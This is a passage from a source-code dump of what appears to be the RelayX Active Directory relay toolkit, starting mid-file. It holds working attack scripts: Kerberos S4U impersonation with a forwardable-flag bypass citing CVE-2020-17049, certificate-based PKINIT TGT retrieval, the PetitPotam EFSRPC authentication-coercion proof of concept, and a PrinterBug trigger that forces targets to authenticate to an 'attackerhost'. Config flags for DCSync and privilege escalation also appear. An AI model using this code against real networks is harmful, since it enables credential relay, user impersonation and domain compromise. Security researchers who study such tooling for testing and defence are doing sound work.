TGS_REQ() 140 | 141 | tgsReq['pvno'] = 5 142 | tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) 143 | 144 | tgsReq['padata'] = noValue 145 | tgsReq['padata'][0] = noValue 146 | tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) 147 | tgsReq['padata'][0]['padata-value'] = encodedApReq 148 | 149 | # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service 150 | # requests a service ticket to itself on behalf of a user. The user is 151 | # identified to the KDC by the user's name and realm. 152 | clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 153 | 154 | S4UByteArray = struct.pack('= 0: 461 | logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) 462 | if str(e).find('KDC_ERR_BADOPTION') >= 0: 463 | logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) 464 | 465 | return 466 | self.__saveFileName = self.__options.impersonate 467 | 468 | self.saveTicket(tgs,oldSessionKey) 469 | 470 | if __name__ == '__main__': 471 | print(version.BANNER) 472 | 473 | parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " 474 | "Service Ticket and save it as ccache") 475 | parser.add_argument('identity', action='store', help='[domain/]username[:password]') 476 | parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' 477 | 'service ticket will' ' be generated for') 478 | parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' 479 | ' for quering the ST. Keep in mind this will only work if ' 480 | 'the identity provided in this scripts is allowed for ' 481 | 'delegation to the SPN specified') 482 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 483 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 484 | parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 485 | 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 486 | 'specified -identity should be provided. This allows impresonation of protected users ' 487 | 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') 488 | 489 | group = parser.add_argument_group('authentication') 490 | 491 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 492 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 493 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 494 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 495 | 'ones specified in the command line') 496 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 497 | '(128 or 256 bits)') 498 | group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 499 | 'ommited it use the domain part (FQDN) specified in the target parameter') 500 | 501 | 502 | if len(sys.argv)==1: 503 | parser.print_help() 504 | print("\nExamples: ") 505 | print("\t./getTGT.py -hashes lm:nt contoso.com/user\n") 506 | print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") 507 | sys.exit(1) 508 | 509 | options = parser.parse_args() 510 | 511 | # Init the example's logger theme 512 | logger.init(options.ts) 513 | 514 | if options.debug is True: 515 | logging.getLogger().setLevel(logging.DEBUG) 516 | # Print the Library's installation path 517 | logging.debug(version.getInstallationPath()) 518 | else: 519 | logging.getLogger().setLevel(logging.INFO) 520 | 521 | domain, username, password = parse_credentials(options.identity) 522 | 523 | try: 524 | if domain is None: 525 | logging.critical('Domain should be specified!') 526 | sys.exit(1) 527 | 528 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 529 | from getpass import getpass 530 | password = getpass("Password:") 531 | 532 | if options.aesKey is not None: 533 | options.k = True 534 | 535 | executer = GETST(username, password, domain, options) 536 | executer.run() 537 | except Exception as e: 538 | if logging.getLogger().level == logging.DEBUG: 539 | import traceback 540 | traceback.print_exc() 541 | print(str(e)) 542 | -------------------------------------------------------------------------------- /comm/ticket/gettgtpkinit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Based on examples from minikerberos by skelsec 4 | # Parts of this code was inspired by the following project by @rubin_mor 5 | # https://github.com/morRubin/AzureADJoinedMachinePTC 6 | # 7 | # Author: 8 | # Tamas Jos (@skelsec) 9 | # Dirk-jan Mollema (@_dirkjan) 10 | # 11 | import argparse 12 | import logging 13 | import binascii 14 | import secrets 15 | import datetime 16 | import hashlib 17 | import base64 18 | 19 | from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private 20 | from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key 21 | from asn1crypto import cms 22 | from asn1crypto import algos 23 | from asn1crypto import core 24 | from asn1crypto import keys 25 | 26 | from minikerberos import logger 27 | from minikerberos.pkinit import PKINIT, DirtyDH 28 | from minikerberos.common.ccache import CCACHE 29 | from minikerberos.common.target import KerberosTarget 30 | from minikerberos.network.clientsocket import KerberosClientSocket 31 | from minikerberos.protocol.constants import NAME_TYPE, PaDataType 32 | from minikerberos.protocol.encryption import Enctype, _checksum_table, _enctype_table, Key 33 | from minikerberos.protocol.structures import AuthenticatorChecksum 34 | from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, HostAddress, \ 35 | KDCOptions, EncASRepPart, AP_REQ, AuthorizationData, Checksum, krb5_pvno, Realm, \ 36 | EncryptionKey, Authenticator, Ticket, APOptions, EncryptedData, AS_REQ, AP_REP, PADATA_TYPE, \ 37 | PA_PAC_REQUEST 38 | from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, Dunno2, MetaData, Info, CertIssuer, CertIssuers, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ 39 | class myPKINIT(PKINIT): 40 | """ 41 | Copy of minikerberos PKINIT 42 | With some changes where it differs from PKINIT used in NegoEx 43 | """ 44 | 45 | @staticmethod 46 | def from_pfx(pfxfile, pfxpass, dh_params = None): 47 | with open(pfxfile, 'rb') as f: 48 | pfxdata = f.read() 49 | return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params) 50 | 51 | @staticmethod 52 | def from_pfx_data(pfxdata, pfxpass, dh_params = None): 53 | pkinit = myPKINIT() 54 | # oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead 55 | if not pfxpass: 56 | from cryptography.hazmat.primitives.serialization import pkcs12 57 | from cryptography.hazmat.primitives import serialization 58 | privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None) 59 | pem_key = privkey.private_bytes( 60 | encoding=serialization.Encoding.PEM, 61 | format=serialization.PrivateFormat.TraditionalOpenSSL, 62 | encryption_algorithm=serialization.NoEncryption(), 63 | ) 64 | pkinit.privkey = load_private_key(parse_private(pem_key)) 65 | pem_cert = cert.public_bytes( 66 | encoding=serialization.Encoding.PEM 67 | ) 68 | pkinit.certificate = parse_certificate(pem_cert) 69 | else: 70 | #print('Loading pfx12') 71 | if isinstance(pfxpass, str): 72 | pfxpass = pfxpass.encode() 73 | pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass) 74 | pkinit.privkey = load_private_key(pkinit.privkeyinfo) 75 | #print('pfx12 loaded!') 76 | pkinit.setup(dh_params = dh_params) 77 | return pkinit 78 | 79 | @staticmethod 80 | def from_pem(certfile, privkeyfile, dh_params = None): 81 | pkinit = myPKINIT() 82 | with open(certfile, 'rb') as f: 83 | pkinit.certificate = parse_certificate(f.read()) 84 | with open(privkeyfile, 'rb') as f: 85 | pkinit.privkey = load_private_key(parse_private(f.read())) 86 | pkinit.setup(dh_params = dh_params) 87 | return pkinit 88 | 89 | def sign_authpack(self, data, wrap_signed = False): 90 | return self.sign_authpack_native(data, wrap_signed) 91 | 92 | def setup(self, dh_params = None): 93 | self.issuer = self.certificate.issuer.native['common_name'] 94 | if dh_params is None: 95 | print('Generating DH params...') 96 | # self.diffie = DirtyDH.from_dict() 97 | print('DH params generated.') 98 | else: 99 | #print('Loading default DH params...') 100 | if isinstance(dh_params, dict): 101 | self.diffie = DirtyDH.from_dict(dh_params) 102 | elif isinstance(dh_params, bytes): 103 | self.diffie = DirtyDH.from_asn1(dh_params) 104 | elif isinstance(dh_params, DirtyDH): 105 | self.diffie = dh_params 106 | else: 107 | raise Exception('DH params must be either a bytearray or a dict') 108 | 109 | def build_asreq(self, domain = None, cname = None, kdcopts = ['forwardable','renewable','renewable-ok']): 110 | if isinstance(kdcopts, list): 111 | kdcopts = set(kdcopts) 112 | if cname is not None: 113 | if isinstance(cname, str): 114 | cname = [cname] 115 | else: 116 | cname = [self.cname] 117 | 118 | # if target is not None: 119 | # if isinstance(target, str): 120 | # target = [target] 121 | # else: 122 | # target = ['127.0.0.1'] 123 | 124 | now = datetime.datetime.now(datetime.timezone.utc) 125 | 126 | kdc_req_body_data = {} 127 | kdc_req_body_data['kdc-options'] = KDCOptions(kdcopts) 128 | kdc_req_body_data['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': cname}) 129 | kdc_req_body_data['realm'] = domain.upper() 130 | kdc_req_body_data['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': ['krbtgt', domain.upper()]}) 131 | kdc_req_body_data['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) 132 | kdc_req_body_data['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) 133 | kdc_req_body_data['nonce'] = secrets.randbits(31) 134 | kdc_req_body_data['etype'] = [18,17] # 23 breaks... 135 | # kdc_req_body_data['addresses'] = [HostAddress({'addr-type': 20, 'address': b'127.0.0.1'})] # not sure if this is needed 136 | kdc_req_body = KDC_REQ_BODY(kdc_req_body_data) 137 | 138 | 139 | checksum = hashlib.sha1(kdc_req_body.dump()).digest() 140 | 141 | authenticator = {} 142 | authenticator['cusec'] = now.microsecond 143 | authenticator['ctime'] = now.replace(microsecond=0) 144 | authenticator['nonce'] = secrets.randbits(31) 145 | authenticator['paChecksum'] = checksum 146 | 147 | 148 | dp = {} 149 | dp['p'] = self.diffie.p 150 | dp['g'] = self.diffie.g 151 | dp['q'] = 0 # mandatory parameter, but it is not needed 152 | 153 | pka = {} 154 | pka['algorithm'] = '1.2.840.10046.2.1' 155 | pka['parameters'] = keys.DomainParameters(dp) 156 | 157 | spki = {} 158 | spki['algorithm'] = keys.PublicKeyAlgorithm(pka) 159 | spki['public_key'] = self.diffie.get_public_key() 160 | 161 | 162 | authpack = {} 163 | authpack['pkAuthenticator'] = PKAuthenticator(authenticator) 164 | authpack['clientPublicValue'] = keys.PublicKeyInfo(spki) 165 | authpack['clientDHNonce'] = self.diffie.dh_nonce 166 | 167 | authpack = AuthPack(authpack) 168 | signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed = True) 169 | 170 | payload = PA_PK_AS_REQ() 171 | payload['signedAuthPack'] = signed_authpack 172 | 173 | pa_data_1 = {} 174 | pa_data_1['padata-type'] = PaDataType.PK_AS_REQ.value 175 | pa_data_1['padata-value'] = payload.dump() 176 | 177 | pa_data_0 = {} 178 | pa_data_0['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST')) 179 | pa_data_0['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump() 180 | 181 | asreq = {} 182 | asreq['pvno'] = 5 183 | asreq['msg-type'] = 10 184 | asreq['padata'] = [pa_data_0, pa_data_1] 185 | asreq['req-body'] = kdc_req_body 186 | 187 | return AS_REQ(asreq).dump() 188 | 189 | def sign_authpack_native(self, data, wrap_signed = False): 190 | """ 191 | Creating PKCS7 blob which contains the following things: 192 | 193 | 1. 'data' blob which is an ASN1 encoded "AuthPack" structure 194 | 2. the certificate used to sign the data blob 195 | 3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1) 196 | """ 197 | 198 | da = {} 199 | da['algorithm'] = algos.DigestAlgorithmId('1.3.14.3.2.26') # for sha1 200 | 201 | si = {} 202 | si['version'] = 'v1' 203 | si['sid'] = cms.IssuerAndSerialNumber({ 204 | 'issuer': self.certificate.issuer, 205 | 'serial_number': self.certificate.serial_number, 206 | }) 207 | 208 | 209 | si['digest_algorithm'] = algos.DigestAlgorithm(da) 210 | si['signed_attrs'] = [ 211 | cms.CMSAttribute({'type': 'content_type', 'values': ['1.3.6.1.5.2.3.1']}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed ) 212 | cms.CMSAttribute({'type': 'message_digest', 'values': [hashlib.sha1(data).digest()]}), ### hash of the data, the data itself will not be signed, but this block of data will be. 213 | ] 214 | si['signature_algorithm'] = algos.SignedDigestAlgorithm({'algorithm' : '1.2.840.113549.1.1.1'}) 215 | si['signature'] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si['signed_attrs']).dump(), "sha1") 216 | 217 | ec = {} 218 | ec['content_type'] = '1.3.6.1.5.2.3.1' 219 | ec['content'] = data 220 | 221 | sd = {} 222 | sd['version'] = 'v3' 223 | sd['digest_algorithms'] = [algos.DigestAlgorithm(da)] # must have only one 224 | sd['encap_content_info'] = cms.EncapsulatedContentInfo(ec) 225 | sd['certificates'] = [self.certificate] 226 | sd['signer_infos'] = cms.SignerInfos([cms.SignerInfo(si)]) 227 | 228 | if wrap_signed is True: 229 | ci = {} 230 | ci['content_type'] = '1.2.840.113549.1.7.2' # signed data OID 231 | ci['content'] = cms.SignedData(sd) 232 | return cms.ContentInfo(ci).dump() 233 | 234 | return cms.SignedData(sd).dump() 235 | 236 | def decrypt_asrep(self, as_rep): 237 | def truncate_key(value, keysize): 238 | output = b'' 239 | currentNum = 0 240 | while len(output) < keysize: 241 | currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest() 242 | if len(output) + len(currentDigest) > keysize: 243 | output += currentDigest[:keysize - len(output)] 244 | break 245 | output += currentDigest 246 | currentNum += 1 247 | 248 | return output 249 | 250 | for pa in as_rep['padata']: 251 | if pa['padata-type'] == 17: 252 | pkasrep = PA_PK_AS_REP.load(pa['padata-value']).native 253 | break 254 | else: 255 | raise Exception('PA_PK_AS_REP not found!') 256 | ci = cms.ContentInfo.load(pkasrep['dhSignedData']).native 257 | sd = ci['content'] 258 | keyinfo = sd['encap_content_info'] 259 | if keyinfo['content_type'] != '1.3.6.1.5.2.3.2': 260 | raise Exception('Keyinfo content type unexpected value') 261 | authdata = KDCDHKeyInfo.load(keyinfo['content']).native 262 | pubkey = int(''.join(['1'] + [str(x) for x in authdata['subjectPublicKey']]), 2) 263 | 264 | pubkey = int.from_bytes(core.BitString(authdata['subjectPublicKey']).dump()[7:], 'big', signed = False) 265 | shared_key = self.diffie.exchange(pubkey) 266 | 267 | server_nonce = pkasrep['serverDHNonce'] 268 | fullKey = shared_key + self.diffie.dh_nonce + server_nonce 269 | 270 | etype = as_rep['enc-part']['etype'] 271 | cipher = _enctype_table[etype] 272 | if etype == Enctype.AES256: 273 | t_key = truncate_key(fullKey, 32) 274 | elif etype == Enctype.AES128: 275 | t_key = truncate_key(fullKey, 16) 276 | elif etype == Enctype.RC4: 277 | raise NotImplementedError('RC4 key truncation documentation missing. it is different from AES') 278 | #t_key = truncate_key(fullKey, 16) 279 | 280 | 281 | key = Key(cipher.enctype, t_key) 282 | enc_data = as_rep['enc-part']['cipher'] 283 | logger.info('AS-REP encryption key (you might need this later):') 284 | logger.info(binascii.hexlify(t_key).decode('utf-8')) 285 | dec_data = cipher.decrypt(key, 3, enc_data) 286 | encasrep = EncASRepPart.load(dec_data).native 287 | cipher = _enctype_table[ int(encasrep['key']['keytype'])] 288 | session_key = Key(cipher.enctype, encasrep['key']['keyvalue']) 289 | return encasrep, session_key, cipher 290 | 291 | def amain(args): 292 | # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason 293 | dhparams = { 294 | 'p':int('00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff', 16), 295 | 'g':2 296 | } 297 | logger.info('Loading certificate and key from file') 298 | if args.pfx_base64: 299 | pfxdata = base64.b64decode(args.pfx_base64) 300 | ini = myPKINIT.from_pfx_data(pfxdata, args.pfx_pass, dhparams) 301 | elif args.cert_pfx: 302 | ini = myPKINIT.from_pfx(args.cert_pfx, args.pfx_pass, dhparams) 303 | elif args.cert_pem and args.key_pem: 304 | ini = myPKINIT.from_pem(args.cert_pem, args.key_pem, dhparams) 305 | else: 306 | logging.error('You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file') 307 | return 308 | domain, username = args.identity.split('/') 309 | req = ini.build_asreq(domain,username) 310 | logger.info('Requesting TGT') 311 | if not args.dc_ip: 312 | args.dc_ip = domain 313 | 314 | sock = KerberosClientSocket(KerberosTarget(args.dc_ip)) 315 | res = sock.sendrecv(req) 316 | 317 | encasrep, session_key, cipher = ini.decrypt_asrep(res.native) 318 | ccache = CCACHE() 319 | ccache.add_tgt(res.native, encasrep) 320 | ccache.to_file(args.ccache) 321 | logger.info('Saved TGT to file') 322 | 323 | def main(): 324 | import argparse 325 | 326 | parser = argparse.ArgumentParser(description='Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key') 327 | parser.add_argument('identity', action='store', metavar='domain/username', help='Domain and username in the cert') 328 | parser.add_argument('ccache', help='ccache file to store the TGT in') 329 | parser.add_argument('-cert-pfx', action='store', metavar='file', help='PFX file') 330 | parser.add_argument('-pfx-pass', action='store', metavar='password', help='PFX file password') 331 | parser.add_argument('-pfx-base64', action='store', metavar='BASE64', help='PFX file as base64 string') 332 | parser.add_argument('-cert-pem', action='store', metavar='file', help='Certificate in PEM format') 333 | parser.add_argument('-key-pem', action='store', metavar='file', help='Private key file in PEM format') 334 | parser.add_argument('-dc-ip', help='DC IP or hostname to use as KDC') 335 | parser.add_argument('-v', '--verbose', action='count', default=0) 336 | 337 | args = parser.parse_args() 338 | if args.verbose == 0: 339 | logger.setLevel(logging.INFO) 340 | elif args.verbose == 1: 341 | logger.setLevel(logging.INFO) 342 | else: 343 | logger.setLevel(1) 344 | 345 | amain(args) 346 | 347 | 348 | if __name__ == '__main__': 349 | main() -------------------------------------------------------------------------------- /comm/trigger/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ridter/RelayX/de3cb3b48d70781628d69726c8c7c551705b19d6/comm/trigger/__init__.py -------------------------------------------------------------------------------- /comm/trigger/efs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Author: GILLES Lionel aka topotam (@topotam77) 4 | # 5 | # Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo), shutd0wn(@ _nwodtuhs) 6 | # "Most of" the code stolen from dementor.py from @3xocyte ;) 7 | 8 | 9 | import sys 10 | import argparse 11 | import logging 12 | from impacket import system_errors 13 | from impacket.dcerpc.v5 import transport 14 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT 15 | from impacket.dcerpc.v5.dtypes import ULONG, WSTR 16 | from impacket.dcerpc.v5.rpcrt import DCERPCException 17 | from impacket.uuid import uuidtup_to_bin 18 | 19 | 20 | show_banner = ''' 21 | 22 | ___ _ _ _ ___ _ 23 | | _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __ 24 | | _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \ 25 | _|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_| 26 | _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 27 | "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 28 | 29 | PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw() 30 | by topotam (@topotam77) 31 | 32 | Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN 33 | 34 | 35 | ''' 36 | 37 | class DCERPCSessionError(DCERPCException): 38 | def __init__(self, error_string=None, error_code=None, packet=None): 39 | DCERPCException.__init__(self, error_string, error_code, packet) 40 | 41 | def __str__( self ): 42 | key = self.error_code 43 | if key in system_errors.ERROR_MESSAGES: 44 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 45 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 46 | return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 47 | else: 48 | return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code 49 | 50 | 51 | ################################################################################ 52 | # STRUCTURES 53 | ################################################################################ 54 | class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): 55 | align = 1 56 | structure = ( 57 | ('Data', '20s'), 58 | ) 59 | 60 | ################################################################################ 61 | # RPC CALLS 62 | ################################################################################ 63 | class EfsRpcOpenFileRaw(NDRCALL): 64 | opnum = 0 65 | structure = ( 66 | ('fileName', WSTR), 67 | ('Flag', ULONG), 68 | ) 69 | 70 | class EfsRpcOpenFileRawResponse(NDRCALL): 71 | structure = ( 72 | ('hContext', EXIMPORT_CONTEXT_HANDLE), 73 | ('ErrorCode', ULONG), 74 | ) 75 | 76 | ################################################################################ 77 | # OPNUMs and their corresponding structures 78 | ################################################################################ 79 | OPNUMS = { 80 | 0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse), 81 | } 82 | 83 | class CoerceAuth(): 84 | def connect(self, username, password, domain, lmhash, nthash, target, pipe): 85 | binding_params = { 86 | 'lsarpc': { 87 | 'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target, 88 | 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 89 | }, 90 | 'efsr': { 91 | 'stringBinding': r'ncacn_np:%s[\PIPE\efsr]' % target, 92 | 'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0') 93 | }, 94 | 'samr': { 95 | 'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target, 96 | 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 97 | }, 98 | 'lsass': { 99 | 'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target, 100 | 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 101 | }, 102 | 'netlogon': { 103 | 'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target, 104 | 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 105 | }, 106 | } 107 | rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding']) 108 | if hasattr(rpctransport, 'set_credentials'): 109 | rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) 110 | dce = rpctransport.get_dce_rpc() 111 | #dce.set_auth_type(RPC_C_AUTHN_WINNT) 112 | #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 113 | #logging.info("[-] Connecting to %s" % binding_params[pipe]['stringBinding']) 114 | try: 115 | dce.connect() 116 | except Exception as e: 117 | logging.error("Something went wrong, check error status => %s" % str(e)) 118 | sys.exit() 119 | logging.critical("Connected!") 120 | logging.critical("Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0]) 121 | try: 122 | dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR'])) 123 | except Exception as e: 124 | logging.error("Something went wrong, check error status => %s" % str(e)) 125 | sys.exit() 126 | logging.critical("Successfully bound!") 127 | return dce 128 | 129 | 130 | def EfsRpcOpenFileRaw(self, dce, listener): 131 | logging.info("Sending EfsRpcOpenFileRaw!") 132 | try: 133 | request = EfsRpcOpenFileRaw() 134 | request['fileName'] = '\\\\{}\\c$\\Boot.ini\x00'.format(listener) 135 | request['Flag'] = 0 136 | #request.dump() 137 | resp = dce.request(request) 138 | 139 | except Exception as e: 140 | if str(e).find('ERROR_BAD_NETPATH') >= 0: 141 | logging.debug('Got expected ERROR_BAD_NETPATH exception!!') 142 | logging.critical('Attack worked!') 143 | return True 144 | else: 145 | logging.error("Something went wrong, check error status => %s" % str(e)) 146 | sys.exit() 147 | return False 148 | def main(): 149 | parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()") 150 | parser.add_argument('-u', '--username', action="store", default='', help='valid username') 151 | parser.add_argument('-p', '--password', action="store", default='', help='valid password') 152 | parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name') 153 | parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)') 154 | parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass'], default='lsarpc', help='Named pipe to use (default: lsarpc)') 155 | parser.add_argument('listener', help='ip address or hostname of listener') 156 | parser.add_argument('target', help='ip address or hostname of target') 157 | options = parser.parse_args() 158 | 159 | if options.hashes is not None: 160 | lmhash, nthash = options.hashes.split(':') 161 | else: 162 | lmhash = '' 163 | nthash = '' 164 | 165 | logging.info(show_banner) 166 | 167 | plop = CoerceAuth() 168 | dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=options.pipe) 169 | plop.EfsRpcOpenFileRaw(dce, options.listener) 170 | 171 | dce.disconnect() 172 | sys.exit() 173 | 174 | if __name__ == '__main__': 175 | main() 176 | -------------------------------------------------------------------------------- /comm/trigger/printer.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from impacket.dcerpc.v5 import transport, rprn 3 | from impacket.dcerpc.v5.dtypes import NULL 4 | class PrinterBug(object): 5 | KNOWN_PROTOCOLS = { 6 | 139: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True}, 7 | 445: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True}, 8 | } 9 | 10 | def __init__(self, username='', password='', domain='', port=None, 11 | hashes=None, attackerhost=''): 12 | 13 | self.__username = username 14 | self.__password = password 15 | self.__port = port 16 | self.__domain = domain 17 | self.__lmhash = '' 18 | self.__nthash = '' 19 | self.__attackerhost = attackerhost 20 | if hashes is not None: 21 | self.__lmhash, self.__nthash = hashes.split(':') 22 | 23 | def dump(self, remote_host): 24 | logging.info( 25 | 'Attempting to trigger authentication via rprn RPC at %s', remote_host) 26 | 27 | stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remote_host 28 | # logging.info('StringBinding %s'%stringbinding) 29 | rpctransport = transport.DCERPCTransportFactory(stringbinding) 30 | rpctransport.set_dport(self.__port) 31 | 32 | if self.KNOWN_PROTOCOLS[self.__port]['set_host']: 33 | rpctransport.setRemoteHost(remote_host) 34 | 35 | if hasattr(rpctransport, 'set_credentials'): 36 | # This method exists only for selected protocol sequences. 37 | rpctransport.set_credentials( 38 | self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 39 | 40 | try: 41 | tmp = self.lookup(rpctransport, remote_host) 42 | if tmp: 43 | return True 44 | except Exception as e: 45 | if logging.getLogger().level == logging.DEBUG: 46 | import traceback 47 | traceback.print_exc() 48 | logging.error(str(e)) 49 | return False 50 | 51 | def lookup(self, rpctransport, host): 52 | dce = rpctransport.get_dce_rpc() 53 | dce.connect() 54 | dce.bind(rprn.MSRPC_UUID_RPRN) 55 | logging.critical('Bind OK!') 56 | try: 57 | resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % host) 58 | except Exception as e: 59 | if str(e).find('Broken pipe') >= 0: 60 | # The connection timed-out. Let's try to bring it back next round 61 | logging.error('Connection failed - skipping host!') 62 | return False 63 | elif str(e).upper().find('ACCESS_DENIED'): 64 | # We're not admin, bye 65 | logging.error('Access denied - RPC call was denied') 66 | dce.disconnect() 67 | return False 68 | else: 69 | return False 70 | logging.info('Got handle') 71 | 72 | request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() 73 | request['hPrinter'] = resp['pHandle'] 74 | request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB 75 | request['pszLocalMachine'] = '\\\\{}\x00'.format(self.__attackerhost) 76 | request['pOptions'] = NULL 77 | try: 78 | resp = dce.request(request) 79 | except Exception as e: 80 | pass 81 | 82 | dce.disconnect() 83 | 84 | return True 85 | -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | class global_var: 4 | getpriv = False 5 | newUser = "" 6 | targetName = "" 7 | newPassword = "" 8 | ccache = "" 9 | dcsync = False 10 | pki = False 11 | lock = False 12 | pfx_pass = "" 13 | pfx_b64 = "" 14 | 15 | def set_lock(status): 16 | global_var.lock = status 17 | def get_lock(): 18 | return global_var.lock 19 | 20 | 21 | def set_pki(status): 22 | global_var.pki = status 23 | def get_pki(): 24 | return global_var.pki 25 | 26 | 27 | def set_dcsync(status): 28 | global_var.dcsync = status 29 | def get_dcsync(): 30 | return global_var.dcsync 31 | 32 | def set_priv(status): 33 | global_var.getpriv = status 34 | def get_priv(): 35 | return global_var.getpriv 36 | 37 | 38 | def set_newUser(value): 39 | global_var.newUser = value 40 | def get_newUser(): 41 | return global_var.newUser 42 | 43 | 44 | def set_targetName(value): 45 | global_var.targetName = value 46 